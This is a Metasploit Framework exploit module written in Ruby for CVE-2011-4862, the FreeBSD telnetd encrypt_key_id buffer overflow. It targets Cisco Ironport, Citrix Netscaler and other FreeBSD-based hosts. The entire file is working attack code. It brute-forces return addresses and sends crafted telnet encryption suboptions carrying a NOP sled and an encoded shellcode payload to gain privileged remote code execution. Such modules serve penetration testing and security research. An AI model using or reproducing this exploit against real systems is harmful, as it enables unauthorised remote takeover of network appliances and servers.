##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreeBSD based telnetd encrypt_key_id brute force',
      'Description'    => %q{
          This module exploits a buffer overflow in the encryption option handler of the
        FreeBSD telnet service.
      },
      'Author'         => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
      'References'     =>
        [
          ['BID', '51182'],
          ['OSVDB', '78020'],
          ['CVE', '2011-4862'],
          ['URL', 'http://www.exploit-db.com/exploits/18280/']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 128,
          'BadChars' => "\x00",
        },
      'Platform'       => [ 'bsd' ],
      'Targets'        =>
      [
        #
        # specific targets
        #
        [ 'Cisco Ironport 7.x Bruteforce',
            {
              'Bruteforce'   =>
                {

                  'Start' => { 'Ret' => 0x0805cffd },
                  'Stop'  => { 'Ret' => 0x0805aa00 },
                  'Step'  => 8
                }
            }
        ],

        [ 'Citrix Netscaler 9.x',
          {
              'Bruteforce'   =>
                {

                  'Start' => { 'Ret' => 0x0805bffd },
                  'Stop'  => { 'Ret' => 0x08059000 },
                  'Step'  => 8
                }
          }
        ],

        [ 'Other FreeBSD based targets',
          {
              'Bruteforce'   =>
                {

                  'Start' => { 'Ret' => 0x0805fffd },
                  'Stop'  => { 'Ret' => 0x08050000 },
                  'Step'  => 8
                }
          }
        ],


      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 23 2011'))

    register_options(
      [
        Opt::RPORT(23),
      ], self.class )
  end

  def brute_exploit(addrs)
    curr_ret = addrs['Ret']
    begin
      connect

      sock.get_once
      print_status('Initiate encryption mode ...')

      req =  ''
      req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
      req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
      req << "\x00"

      sock.put(req)
      sock.get_once
      req = ''
      print_status("Trying return address 0x%.8x..." % curr_ret )
      print_status('Sending first payload ...')

      req << "\xff\xfa\x26\x07"
      req << "\x00"
      req << make_nops(71)
      penc = payload.encoded.gsub("\xff", "\xff\xff")
      req << [curr_ret].pack('V')
      req << [curr_ret].pack('V')

      req << make_nops(128)
      req << penc
      req << "\x90\x90\x90\x90"
      req << "\xff\xf0"
      req << "\x00"

      sock.put(req)
      sock.get_once
      print_status('Sending second payload ...')
      sock.put(req)

      disconnect
      handler
    rescue
    end
  end

end